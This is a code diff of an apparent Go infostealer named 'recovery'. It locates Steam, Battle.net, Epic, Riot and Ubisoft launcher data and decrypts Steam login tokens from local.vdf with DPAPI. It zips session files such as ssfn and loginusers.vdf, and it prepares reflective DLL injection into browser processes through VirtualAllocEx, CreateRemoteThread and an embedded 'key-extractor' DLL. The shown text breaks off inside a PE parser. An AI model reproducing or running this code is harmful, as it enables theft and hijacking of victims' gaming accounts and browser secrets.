for _, line := range strings.Split(string(data), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
|
||||
val := vdfValueUnix(line)
|
||||
if val != "" && pathExists(val) && val != steamPath {
|
||||
libraryFolders = append(libraryFolders, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, lib := range libraryFolders {
|
||||
libApps := filepath.Join(lib, "steamapps")
|
||||
if !pathExists(libApps) {
|
||||
continue
|
||||
}
|
||||
entries, _ := os.ReadDir(libApps)
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
|
||||
continue
|
||||
}
|
||||
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
|
||||
if err != nil || len(acfData) == 0 {
|
||||
continue
|
||||
}
|
||||
acf := parseACFUnix(string(acfData))
|
||||
if acf["appid"] == "" || acf["name"] == "" {
|
||||
continue
|
||||
}
|
||||
if !seenGames[acf["appid"]] {
|
||||
seenGames[acf["appid"]] = true
|
||||
result.Games = append(result.Games, types.GameInfo{
|
||||
ID: acf["appid"],
|
||||
Name: acf["name"],
|
||||
Installed: acf["StateFlags"] != "4",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func parseACFUnix(data string) map[string]string {
|
||||
result := map[string]string{}
|
||||
var inBlock bool
|
||||
for _, line := range strings.Split(data, "\n") {
|
||||
line = strings.TrimLeft(line, "\t ")
|
||||
if line == "{" {
|
||||
inBlock = true
|
||||
continue
|
||||
}
|
||||
if line == "}" {
|
||||
break
|
||||
}
|
||||
if !inBlock || line == "" {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(line, `"`) {
|
||||
key := vdfNthQuotedUnix(line, 0)
|
||||
val := vdfNthQuotedUnix(line, 1)
|
||||
if key != "" {
|
||||
result[key] = val
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func vdfValueUnix(line string) string {
|
||||
return vdfNthQuotedUnix(line, 1)
|
||||
}
|
||||
|
||||
func vdfNthQuotedUnix(line string, n int) string {
|
||||
count := 0
|
||||
i := 0
|
||||
for count <= n && i < len(line) {
|
||||
start := strings.Index(line[i:], `"`)
|
||||
if start == -1 {
|
||||
return ""
|
||||
}
|
||||
start += i + 1
|
||||
end := strings.Index(line[start:], `"`)
|
||||
if end == -1 {
|
||||
if count == n {
|
||||
return line[start:]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
if count == n {
|
||||
return line[start : start+end]
|
||||
}
|
||||
i = start + end + 1
|
||||
count++
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
const maxZipFile = 50 * 1024 * 1024
|
||||
|
||||
func ZipSteamSession(steamPath string) ([]byte, error) {
|
||||
if steamPath == "" || !pathExists(steamPath) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
var files []string
|
||||
entries, _ := os.ReadDir(steamPath)
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
|
||||
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
|
||||
files = append(files, filepath.Join(steamPath, e.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
configDir := filepath.Join(steamPath, "config")
|
||||
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
|
||||
p := filepath.Join(configDir, name)
|
||||
if pathExists(p) {
|
||||
files = append(files, p)
|
||||
}
|
||||
}
|
||||
|
||||
if len(files) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
|
||||
}
|
||||
|
||||
func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist }
|
||||
func ZipEpic() ([]byte, error) { return nil, os.ErrNotExist }
|
||||
func ZipRiot() ([]byte, error) { return nil, os.ErrNotExist }
|
||||
func ZipUplay() ([]byte, error) { return nil, os.ErrNotExist }
|
||||
@@ -0,0 +1,575 @@
|
||||
//go:build windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
func normLines(data string) []string {
|
||||
return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n")
|
||||
}
|
||||
|
||||
func ScanGaming() *types.GamingResult {
|
||||
result := &types.GamingResult{
|
||||
Steam: ScanSteam(),
|
||||
BattleNet: ScanBattleNet(),
|
||||
Epic: ScanEpic(),
|
||||
Riot: ScanRiot(),
|
||||
Uplay: ScanUplay(),
|
||||
}
|
||||
if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 {
|
||||
return nil
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func ScanSteam() *types.SteamResult {
|
||||
result := &types.SteamResult{}
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ)
|
||||
if err != nil {
|
||||
logf("[gaming] Steam registry key not found: %v", err)
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser")
|
||||
remPw, _, _ := k.GetIntegerValue("RememberPassword")
|
||||
result.RememberPW = remPw != 0
|
||||
|
||||
steamPath, _, _ := k.GetStringValue("SteamPath")
|
||||
logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath))
|
||||
if steamPath == "" || !pathExists(steamPath) {
|
||||
return nil
|
||||
}
|
||||
steamPath = filepath.FromSlash(steamPath)
|
||||
result.SteamPath = steamPath
|
||||
|
||||
if result.AutoLogin != "" {
|
||||
result.Account = result.AutoLogin
|
||||
}
|
||||
|
||||
seenGames := make(map[string]bool)
|
||||
scanSteamLibrary(steamPath, result, seenGames)
|
||||
logf("[gaming] Steam library scan found %d games from manifests", len(result.Games))
|
||||
|
||||
appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ)
|
||||
if err != nil {
|
||||
logf("[gaming] Steam Apps registry key not found: %v", err)
|
||||
} else {
|
||||
defer appsKey.Close()
|
||||
names, _ := appsKey.ReadSubKeyNames(0)
|
||||
logf("[gaming] Steam Apps registry has %d sub-keys", len(names))
|
||||
for _, name := range names {
|
||||
if seenGames[name] {
|
||||
continue
|
||||
}
|
||||
subKey, err := registry.OpenKey(appsKey, name, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
gameName, _, _ := subKey.GetStringValue("Name")
|
||||
installed, _, _ := subKey.GetIntegerValue("Installed")
|
||||
running, _, _ := subKey.GetIntegerValue("Running")
|
||||
subKey.Close()
|
||||
if gameName != "" {
|
||||
seenGames[name] = true
|
||||
result.Games = append(result.Games, types.GameInfo{
|
||||
ID: name,
|
||||
Name: gameName,
|
||||
Installed: installed == 1,
|
||||
Running: running == 1,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if entries, err := os.ReadDir(steamPath); err == nil {
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
|
||||
result.SSFNFiles = append(result.SSFNFiles, e.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
|
||||
logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath))
|
||||
if pathExists(localVdfPath) {
|
||||
tokens := extractSteamTokens(steamPath, localVdfPath)
|
||||
if len(tokens) > 0 {
|
||||
result.Token = strings.Join(tokens, "\n")
|
||||
for _, tok := range tokens {
|
||||
if dot := strings.Index(tok, "."); dot > 0 {
|
||||
result.Account = tok[:dot]
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result.Account == "" {
|
||||
configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml")
|
||||
if configBytes, err := os.ReadFile(configPath); err == nil {
|
||||
content := string(configBytes)
|
||||
if idx := strings.Index(content, `"PersonaName"`); idx > 0 {
|
||||
start := strings.Index(content[idx:], `"`)
|
||||
end := strings.Index(content[idx+start+1:], `"`)
|
||||
if start > 0 && end > 0 {
|
||||
result.Account = content[idx+start+1 : idx+start+1+end]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
|
||||
libraryFolders := []string{steamPath}
|
||||
|
||||
steamappsRoot := filepath.Join(steamPath, "steamapps")
|
||||
logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot))
|
||||
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
|
||||
logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath))
|
||||
if data, err := os.ReadFile(vdfPath); err == nil {
|
||||
for _, line := range normLines(string(data)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
|
||||
val := vdfValue(line)
|
||||
if val != "" {
|
||||
libraryPath := filepath.FromSlash(val)
|
||||
libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator))
|
||||
if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) {
|
||||
libraryFolders = append(libraryFolders, libraryPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
logf("[gaming] Steam library folders to scan: %v", libraryFolders)
|
||||
for _, lib := range libraryFolders {
|
||||
libApps := filepath.Join(lib, "steamapps")
|
||||
logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps))
|
||||
if !pathExists(libApps) {
|
||||
continue
|
||||
}
|
||||
|
||||
entries, _ := os.ReadDir(libApps)
|
||||
logf("[gaming] Steam steamapps dir has %d entries", len(entries))
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
|
||||
continue
|
||||
}
|
||||
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
|
||||
if err != nil || len(acfData) == 0 {
|
||||
continue
|
||||
}
|
||||
acf := parseACF(string(acfData))
|
||||
if acf["appid"] == "" || acf["name"] == "" {
|
||||
continue
|
||||
}
|
||||
installed := acf["StateFlags"] != "4"
|
||||
if !seenGames[acf["appid"]] {
|
||||
seenGames[acf["appid"]] = true
|
||||
result.Games = append(result.Games, types.GameInfo{
|
||||
ID: acf["appid"],
|
||||
Name: acf["name"],
|
||||
Installed: installed,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func parseACF(data string) map[string]string {
|
||||
result := map[string]string{}
|
||||
var inBlock bool
|
||||
|
||||
for _, line := range normLines(data) {
|
||||
line = strings.TrimLeft(line, "\t ")
|
||||
if line == "{" {
|
||||
inBlock = true
|
||||
continue
|
||||
}
|
||||
if line == "}" {
|
||||
break
|
||||
}
|
||||
if !inBlock || line == "" {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(line, `"`) {
|
||||
key, val := vdfKeyValue(line)
|
||||
if key != "" {
|
||||
result[key] = val
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func vdfKeyValue(line string) (string, string) {
|
||||
key := vdfNthQuoted(line, 0)
|
||||
val := vdfNthQuoted(line, 1)
|
||||
return key, val
|
||||
}
|
||||
|
||||
func vdfValue(line string) string {
|
||||
return vdfNthQuoted(line, 1)
|
||||
}
|
||||
|
||||
func vdfNthQuoted(line string, n int) string {
|
||||
count := 0
|
||||
i := 0
|
||||
for count <= n && i < len(line) {
|
||||
start := strings.Index(line[i:], `"`)
|
||||
if start == -1 {
|
||||
return ""
|
||||
}
|
||||
start += i + 1
|
||||
end := strings.Index(line[start:], `"`)
|
||||
if end == -1 {
|
||||
if count == n {
|
||||
return line[start:]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
if count == n {
|
||||
return line[start : start+end]
|
||||
}
|
||||
i = start + end + 1
|
||||
count++
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func extractSteamTokens(steamPath, localVdfPath string) []string {
|
||||
loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf")
|
||||
if !pathExists(loginUsersPath) {
|
||||
loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf")
|
||||
}
|
||||
if !pathExists(loginUsersPath) {
|
||||
return nil
|
||||
}
|
||||
|
||||
loginData, _ := os.ReadFile(loginUsersPath)
|
||||
localData, _ := os.ReadFile(localVdfPath)
|
||||
if loginData == nil || localData == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
accounts := parseVDFAccountNames(string(loginData))
|
||||
if len(accounts) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
return findSteamTokens(string(localData), accounts)
|
||||
}
|
||||
|
||||
func parseVDFAccountNames(data string) []string {
|
||||
var accounts []string
|
||||
for _, line := range normLines(data) {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, `"AccountName"`) {
|
||||
val := vdfValue(line)
|
||||
if val != "" {
|
||||
accounts = append(accounts, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
return accounts
|
||||
}
|
||||
|
||||
func findSteamTokens(data string, accounts []string) []string {
|
||||
normalized := strings.ReplaceAll(data, "\r\n", "\n")
|
||||
var tokens []string
|
||||
|
||||
for _, account := range accounts {
|
||||
prefix := `"` + account + `"`
|
||||
idx := strings.Index(normalized, prefix)
|
||||
if idx == -1 {
|
||||
continue
|
||||
}
|
||||
|
||||
blockStart := strings.Index(normalized[idx:], "{")
|
||||
blockEnd := strings.Index(normalized[idx:], "}")
|
||||
if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart {
|
||||
continue
|
||||
}
|
||||
|
||||
block := normalized[idx+blockStart : idx+blockEnd]
|
||||
tokenStart := strings.Index(block, `"Token"`)
|
||||
if tokenStart == -1 {
|
||||
tokenStart = strings.Index(block, `"RefreshToken"`)
|
||||
}
|
||||
if tokenStart == -1 {
|
||||
continue
|
||||
}
|
||||
|
||||
tokenLine := block[tokenStart:]
|
||||
if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 {
|
||||
tokenLine = tokenLine[:lineEnd]
|
||||
}
|
||||
|
||||
tokenHex := vdfValue(tokenLine)
|
||||
if len(tokenHex) < 64 {
|
||||
continue
|
||||
}
|
||||
|
||||
decrypted := decryptSteamToken(tokenHex, account)
|
||||
if decrypted != "" {
|
||||
tokens = append(tokens, account+"."+decrypted)
|
||||
}
|
||||
}
|
||||
|
||||
return tokens
|
||||
}
|
||||
|
||||
func decryptSteamToken(tokenHex, account string) string {
|
||||
tokenBytes, err := hex.DecodeString(tokenHex)
|
||||
if err != nil || len(tokenBytes) < 16 {
|
||||
return ""
|
||||
}
|
||||
|
||||
entropy := []byte(account)
|
||||
out, err := dpapiDecrypt(tokenBytes, entropy)
|
||||
if err != nil || len(out) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return strings.TrimRight(string(out), "\x00")
|
||||
}
|
||||
|
||||
func dpapiDecrypt(data, entropy []byte) ([]byte, error) {
|
||||
type blob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
var inBlob, outBlob blob
|
||||
inBlob.cbData = uint32(len(data))
|
||||
if len(data) > 0 {
|
||||
inBlob.pbData = &data[0]
|
||||
}
|
||||
|
||||
var entPtr uintptr
|
||||
if len(entropy) > 0 {
|
||||
entBlob := blob{
|
||||
cbData: uint32(len(entropy)),
|
||||
pbData: &entropy[0],
|
||||
}
|
||||
entPtr = uintptr(unsafe.Pointer(&entBlob))
|
||||
}
|
||||
|
||||
proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData")
|
||||
r, _, err := proc.Call(
|
||||
uintptr(unsafe.Pointer(&inBlob)),
|
||||
0, entPtr, 0, 0, 0,
|
||||
uintptr(unsafe.Pointer(&outBlob)),
|
||||
)
|
||||
if r == 0 {
|
||||
return nil, err
|
||||
}
|
||||
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
|
||||
|
||||
out := make([]byte, outBlob.cbData)
|
||||
copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData))
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func pathExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func ScanBattleNet() []types.BattleNetResult {
|
||||
var results []types.BattleNetResult
|
||||
|
||||
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
|
||||
logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir))
|
||||
if !pathExists(bnDir) {
|
||||
return nil
|
||||
}
|
||||
|
||||
entries, _ := os.ReadDir(bnDir)
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results)
|
||||
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
|
||||
results = append(results, types.BattleNetResult{
|
||||
Path: filepath.Join(bnDir, e.Name()),
|
||||
Name: e.Name(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
scanBattleNetRecursive(filepath.Join(dir, e.Name()), results)
|
||||
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
|
||||
*results = append(*results, types.BattleNetResult{
|
||||
Path: filepath.Join(dir, e.Name()),
|
||||
Name: e.Name(),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ScanEpic() []types.EpicResult {
|
||||
var results []types.EpicResult
|
||||
|
||||
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini")
|
||||
logf("[gaming] Epic config=%q exists=%v", path, pathExists(path))
|
||||
if !pathExists(path) {
|
||||
return nil
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") {
|
||||
results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func ScanRiot() []types.RiotResult {
|
||||
var results []types.RiotResult
|
||||
|
||||
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data")
|
||||
logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir))
|
||||
if pathExists(riotDir) {
|
||||
results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"})
|
||||
}
|
||||
|
||||
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config")
|
||||
logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir))
|
||||
if pathExists(configDir) {
|
||||
results = append(results, types.RiotResult{Path: configDir, Name: "Config"})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func ScanUplay() []types.UplayResult {
|
||||
var results []types.UplayResult
|
||||
|
||||
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
|
||||
logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path))
|
||||
if pathExists(path) {
|
||||
results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
const maxZipFile = 50 * 1024 * 1024
|
||||
|
||||
func ZipSteamSession(steamPath string) ([]byte, error) {
|
||||
if steamPath == "" || !pathExists(steamPath) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
var files []string
|
||||
|
||||
entries, _ := os.ReadDir(steamPath)
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
|
||||
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
|
||||
files = append(files, filepath.Join(steamPath, e.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
configDir := filepath.Join(steamPath, "config")
|
||||
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
|
||||
p := filepath.Join(configDir, name)
|
||||
if pathExists(p) {
|
||||
files = append(files, p)
|
||||
}
|
||||
}
|
||||
|
||||
localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
|
||||
if pathExists(localVdf) {
|
||||
files = append(files, localVdf)
|
||||
}
|
||||
|
||||
if len(files) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath)
|
||||
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
|
||||
}
|
||||
|
||||
func ZipBattleNet() ([]byte, error) {
|
||||
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
|
||||
if !pathExists(bnDir) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipDirectory(bnDir)
|
||||
}
|
||||
|
||||
func ZipEpic() ([]byte, error) {
|
||||
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows")
|
||||
if !pathExists(configDir) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipDirectory(configDir)
|
||||
}
|
||||
|
||||
func ZipRiot() ([]byte, error) {
|
||||
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client")
|
||||
if !pathExists(riotDir) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
var files []string
|
||||
for _, sub := range []string{"Data", "Config"} {
|
||||
d := filepath.Join(riotDir, sub)
|
||||
if !pathExists(d) {
|
||||
continue
|
||||
}
|
||||
filepath.Walk(d, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() || info.Size() > maxZipFile {
|
||||
return nil
|
||||
}
|
||||
files = append(files, path)
|
||||
return nil
|
||||
})
|
||||
}
|
||||
if len(files) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipFiles(files, riotDir)
|
||||
}
|
||||
|
||||
func ZipUplay() ([]byte, error) {
|
||||
uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
|
||||
if !pathExists(uplayDir) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipDirectory(uplayDir)
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[recovery] "+format, args...)
|
||||
}
|
||||
|
||||
func safeRecover(where string) {
|
||||
if r := recover(); r != nil {
|
||||
logf("panic recovered in %s: %v", where, r)
|
||||
}
|
||||
}
|
||||
|
||||
func recoverErrors(where string, errs *[]string, mu *sync.Mutex) {
|
||||
if r := recover(); r != nil {
|
||||
logf("panic recovered in %s: %v", where, r)
|
||||
mu.Lock()
|
||||
*errs = append(*errs, fmt.Sprintf("%s: %v", where, r))
|
||||
mu.Unlock()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
)
|
||||
|
||||
//go:embed recovery-key-extractor.dll
|
||||
var embeddedDLL []byte
|
||||
|
||||
func GetEmbeddedDLL() []byte {
|
||||
return embeddedDLL
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
func GetEmbeddedDLL() []byte {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,631 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx")
|
||||
procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx")
|
||||
procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread")
|
||||
procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC")
|
||||
modNtdllInj = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
|
||||
)
|
||||
|
||||
// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
|
||||
type processBasicInformation struct {
|
||||
Reserved1 uintptr
|
||||
PebBaseAddress uintptr
|
||||
Reserved2 [2]uintptr
|
||||
UniqueProcessId uintptr
|
||||
Reserved3 uintptr
|
||||
}
|
||||
|
||||
// unicodeString mirrors UNICODE_STRING.
|
||||
type unicodeString struct {
|
||||
Length uint16
|
||||
MaximumLength uint16
|
||||
Buffer uintptr
|
||||
}
|
||||
|
||||
// processCommandLine returns the full command line of a process by walking its
|
||||
// PEB (x64 offsets). Used to distinguish the main browser process from its
|
||||
// renderer/GPU/utility subprocesses.
|
||||
func processCommandLine(pid uint32) (string, error) {
|
||||
hProcess, err := windows.OpenProcess(
|
||||
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer windows.CloseHandle(hProcess)
|
||||
|
||||
var pbi processBasicInformation
|
||||
var retLen uint32
|
||||
status, _, _ := procNtQueryInformationProcess.Call(
|
||||
uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
|
||||
unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
|
||||
)
|
||||
if status != 0 || pbi.PebBaseAddress == 0 {
|
||||
return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
|
||||
}
|
||||
|
||||
// PEB.ProcessParameters (offset 0x20 on x64).
|
||||
var procParams uintptr
|
||||
if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
|
||||
(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if procParams == 0 {
|
||||
return "", fmt.Errorf("no process parameters")
|
||||
}
|
||||
|
||||
// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
|
||||
var cmdLine unicodeString
|
||||
if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
|
||||
(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
|
||||
return "", fmt.Errorf("no command line")
|
||||
}
|
||||
|
||||
buf := make([]uint16, cmdLine.Length/2)
|
||||
if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
|
||||
(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return syscall.UTF16ToString(buf), nil
|
||||
}
|
||||
|
||||
func orderedBrowserPIDs(exeName string) []uint32 {
|
||||
pids, err := FindProcesses(exeName)
|
||||
if err != nil || len(pids) <= 1 {
|
||||
return pids
|
||||
}
|
||||
for i, pid := range pids {
|
||||
if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
|
||||
if i != 0 {
|
||||
pids[0], pids[i] = pids[i], pids[0]
|
||||
}
|
||||
return pids
|
||||
}
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
// findReflectiveLoaderOffset parses the PE export table in file layout and
|
||||
// returns the file offset of the ReflectiveLoader export function.
|
||||
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
|
||||
if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
|
||||
return 0, fmt.Errorf("not a valid PE")
|
||||
}
|
||||
lfanew := binary.LittleEndian.Uint32(pe[60:])
|
||||
if int(lfanew)+24 > len(pe) {
|
||||
return 0, fmt.Errorf("truncated PE header")
|
||||
}
|
||||
if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
|
||||
return 0, fmt.Errorf("bad PE signature")
|
||||
}
|
||||
|
||||
coffOff := lfanew + 4
|
||||
numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
|
||||
optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
|
||||
